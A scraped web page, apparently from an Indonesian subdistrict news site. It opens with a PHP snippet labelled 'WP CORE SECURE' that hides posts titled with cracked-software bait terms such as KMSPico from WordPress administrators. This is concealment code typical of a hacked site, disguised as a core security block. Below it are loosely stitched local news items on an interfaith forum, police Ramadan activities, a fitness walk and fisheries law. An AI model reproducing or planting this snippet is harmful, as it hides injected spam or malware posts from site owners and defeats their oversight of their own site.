# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Sarasehan FKUB yang mengambil tema Membangun Kebersamaan dalam Perbedaan Demi Terwujudnya Kerukunan Umat Beragama ini diikuti oleh tokoh masyarakat, tokoh agama, tokoh parpol, ormas, LSM, tokoh wanita, tokoh pemuda serta jemaat Gereja Kristen Jawa Penaruban.
Pada kesempatan laporannya, Slamet Triyanto selaku ketua penyelenggara menyampaikan “Sarasehan FKUB tahum 2017 ini dilaksanakan 15 kali secara bergantian di 15 Kecamatan berbeda dengan tahun lalu, tahun lalu hanya dilaksanakan 5 kali sesuai wilayah dapil”.
Sementara itu, Camat Kaligondang, Dra. Pandansari pada saat sambutanya menyampaikan ” Kondisi keamanam, ketertiban dan kehidupam beragama di Kecamatan Kaligondang selama ini sangat kondusif, namun demikian seiring kemajuan teknologi informasi dan komunikasi seringkali kita jumpai status di sosial media yang dapat memicu perpecahan karena syarat dengan isu suku, ras maupun agama”.
Untuk itu Camat Kaligondang mengajak kepada semua yang hadir untuk senantiasa bijak dalam menggunakan sosial media. (*ibar)
Kegiatan dimulai sore hari setelah shalat ashar dengan membagi bagikam ta’jil untuk berbuka puasa kepada warga di wilayah Kecamatan Kaligondang.
Kemudian dilanjutkan dengan buka puasa bersama (Bukber) Kapolsek Kaligondang, AKP Imam Hidayat, SH dengan seluruh anggota Polsek Kaligondang.
Sebagai penutup kegiatan, Kapolsek Kaligondang melaksanakan Tarawih Silaturahmi (Tarhim) di masjid Baiturrahman Desa Sempor Lor Kecamatan Kaligondang, bersama dengan Forkompimcam Kaligondang serta unsur UPT Dinas Kecamatan Kaligondang.
Dalam sambutan yang disampaikan setelah shalat tarawih, AKP Imam Hidayat, SH mengajak para jama’ah agar menjadi polisi bagi diri sendiri dan keluarga.
“Bapak-bapak dan ibu-ibu harus bisa menjaga diri. Ibu-ibu setelaj selesai memasak jangan lupa untuk mematikan kompor. Apabila akan berangkat sholat tarawih jangan lupa dan pastikan kondisi rumah aman, jendela dan pintu rumah dikunci. Selalu berhati-hati di jalan raya, mengingat menjelang lebaran arus lalu lintas semakin ramai”, ungkap Imam.
Turut hadir pada kegiatan Tarhim Kanit Sabara Ipda Muflichun, Kanit Binmas Bripka Samingun serta Babin Kamtibmas Aiptu Darmono. (*Ibar)
]]>Dalam surat edaran tersebut, pemilik maupun pemgelola rumah makan dan tempat hiburan bersama dengan Komponen masyarakat lainnya dimohon agar berperan aktif dalam memelihara dan meningkatkan kondusifitas Ketentraman dan ketertiban umum di seluruh wilayah Kabupaten Purbalingga.
Peran aktif tersebut setidaknya diwujudkan dalam hal-hal berikut :
Untuk itu anggota Satuan Polisi Pamong Praja Kecamatan Kaligondang, Sabtu 27 Mei 2017 bertepatan dengan hari pertama ramadhan, mensosialisasikan Surat Edaran Bupati tentang pengaturan operasional rumah makan kepada pemilik warung makan yang berada di sepanjang jalan raya Kaligondang.
]]>Rangkaian kegiatan Jum’at Sehat diawali dengan olah raga pemanasan yang dipimpin langsung oleh Kapolsek Kaligondang AKP Imam Hidayat di halaman depan Kantor Desa Slinga.
Setelah melakukan pemanasan dan peregangan otot, jajaran Polsek Kaligondamg beserta Perangkat Desa Slinga melanjutkan kegiatan Jum’at Sehat dengan berjalan kaki menuju bendung Slinga.
Tiba di area bendung Slinga rombongan kembali melaksanakan peregangan otot dan pushup. Jum’at sehat diakhiri dengan wisata susur sungai menggunakan rakit yang berada di area bendung Slinga.
AKP Imam Hidayat mengungkapkan “Perjalanan dari Kantor Desa menuju bendung Slinga yang sedikit naik turun serta suasana asri alam pedesaan yang bebas dari polusi dan rangkaian Jum’at sehat yang kami laksankan pada pagi hari ini bertujuan untuk menjaga kebugaran sekaligus refreshing bagi jajaran Polsek Kaligondang”
Selain itu kegiatan ini juga bertujuan untuk menjalin keakraban serta sebagai sarana komunikasi dengan Perangkat Desa di wilayah Kecamatan Kaligondang, ungkap Imam menambahkan.
Disela Sela kegiatan Jum’at sehat, AKP Imam Hidayat juga mengajak Perangkat Desa serta warga Desa yang dijumpai untuk turut menjaga keamanan dan ketertiban di lingkungan sekitar. (*Ibar)
]]>Pasal 8 ayat 1 :
Setiap orang dilarang melakukan penangkapan ikan dan / atau ikan dengan menggunakan bahan kimia, bahan biologis, bahan peledak, alat dan / atau cara, dan / atau bangunan yang dapat merugikan dan / atau membahayakan kelestarian sumberdaya ikan dan / atau lingkungannya di wilayah pengelolaan perikanan Republik Indonesia
Pasal 12 ayat 1 :
Setiap orang dilarang melakukan perbuatan yang mengakibatkan pencemaran dan / atau kerusakan sumberdaya ikan dan / atau lingkungannya di wilayah pengelolaan perikanan Republik Indonesia
Pasal 84 ayat 1 :
Setiap orang yang dengan sengaja di wilayah pengelolaan perikanan Republik Indonesia melakukan penangkapan ikan dan / membudidayakan ikan dengan menggunakan bahan kimia, bahan biologis, bahan peledak, alat dan / atau cara, dan / atau bangunan yang dapat merugikan dan / atau membahayakan kelestarian sumberdaya ikan dan / atau lingkungan sebagaimana dimaksud dalam pasal 8 ayat (1), dipidana dengan pidana penjara paling lama 6 (enam) tahun dan denda paling banyak Rp. 1.200.000.000,- (satu miliar dua ratus juta rupiah)
Pasal 86 ayat 1 :
Setiap orang yang dengan sengaja di wilayah pengelolaan perikanan Republik Indonesia melakukan perbuatan yang mengakibatkan pencemaran dan / atau kerusakan sumberdaya ikan dan / atau lingkungannnya sebagaimana dimaksud pasal 12 ayat (1) dipidana dengan pidana penjara paling lama 10 (sepuluh) tahun dan denda paling banyak Rp. 2.000.000.000,- (dua miliar rupiah)
]]>